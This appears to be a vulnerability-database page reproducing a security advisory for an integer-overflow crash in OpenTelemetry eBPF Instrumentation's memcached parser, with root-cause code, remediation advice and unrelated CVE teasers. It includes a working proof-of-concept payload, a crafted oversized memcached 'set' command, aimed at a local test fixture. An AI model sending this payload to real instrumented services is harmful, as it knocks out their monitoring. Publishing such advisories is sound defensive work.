Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcached_detect_transform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
size, err := strconv.Atoi(string(fields[4]))
if err != nil || size < 0 {
return 0, false
}Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
payloadLen := bytesField + len(memcachedDelimBytes)
payload, err := r.Peek(payloadLen)If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {
return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil
}With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
pkg/ebpf/common/memcached_detect_transform.go:322pkg/ebpf/common/memcached_detect_transform.go:386pkg/internal/largebuf/large_buffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
- From the repository root, start the checked-in memcached environment:
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
up --buildThis starts:
memcachedon port11211testserver, the Python app ininternal/test/integration/components/pythonmemcached/main.pyautoinstrumenter, the OBI process launched with--config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
internal/test/oats/memcached/docker-compose-obi-python-memcached.ymlinternal/test/oats/memcached/configs/instrumenter-config-traces.yml
- In a second shell, confirm the environment is working:
curl http://127.0.0.1:8080/memcached- From the same repository root, send a crafted memcached storage command from inside the instrumented
testservercontainer. On 64-bit systems, use9223372036854775807(math.MaxInt):
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
exec testserver \
python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'On 32-bit systems, replace 9223372036854775807 with 2147483647.
- OBI parses the request header, accepts the
<bytes>field as anint, and computes:
payloadLen = bytesField + len("\r\n")- That addition overflows negative and the negative
payloadLenis passed toLargeBufferReader.Peek, which slices with an invalid bound and panics. - Confirm the crash by checking the
autoinstrumentercontainer status or logs:
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
ps autoinstrumenter docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
logs autoinstrumenterThe expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and
- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
AnalysisAI
Remote denial-of-service in OpenTelemetry eBPF Instrumentation (OBI) versions 0.7.0 through 0.8.x allows unauthenticated attackers to crash the privileged instrumentation process by sending a crafted memcached storage command with an oversized <bytes> field. The integer overflow in the memcached text protocol parser produces a negative payload length that triggers a Go runtime panic in LargeBufferReader.Peek, halting telemetry collection until OBI is restarted. Publicly available exploit code exists in the GHSA-43g7-cwr8-q3jh advisory, but there is no public exploit identified beyond the PoC and the vulnerability is not listed in CISA KEV.
Technical ContextAI
OBI (OpenTelemetry eBPF Instrumentation, package pkg:go/go.opentelemetry.io_obi) is a Go-based, privileged auto-instrumentation agent that uses eBPF to passively observe network traffic from instrumented applications and produce OpenTelemetry traces. The flaw is a classic CWE-190 integer overflow: memcachedCommandBytesField in pkg/ebpf/common/memcached_detect_transform.go parses the memcached storage command <bytes> field with strconv.Atoi and only rejects negative values, allowing values up to math.MaxInt. memcachedConsumeStoragePayload then computes payloadLen := bytesField + len(memcachedDelimBytes), which wraps to a negative signed int when bytesField is math.MaxInt or math.MaxInt-1. The negative value reaches LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go, where missing negative-input validation causes an invalid slice expression and a Go runtime panic that crashes the process.
RemediationAI
Upgrade the go.opentelemetry.io/obi module to vendor-released patch version 0.9.0 or later, per the OpenTelemetry advisory at https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh and https://github.com/advisories/GHSA-43g7-cwr8-q3jh, then redeploy the OBI agent (DaemonSet or sidecar) so all instances pick up the fix. If immediate patching is not possible, the most effective compensating control is to disable OBI's memcached protocol detection/instrumentation in instrumenter-config-traces.yml so the vulnerable parser is never invoked - this loses memcached trace visibility but eliminates exposure. Alternatively, restrict which hosts can reach memcached ports (default 11211) on instrumented services via network policy or firewall rules so untrusted clients cannot deliver crafted storage commands; this preserves telemetry but only helps where memcached is not already exposed to untrusted networks. Running OBI under a process supervisor with automatic restart reduces downtime per crash but does not prevent repeated DoS.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-190 – Integer Overflow or Wraparound
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Fixed |
| openSUSE Leap 16.0 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-33959
GHSA-43g7-cwr8-q3jh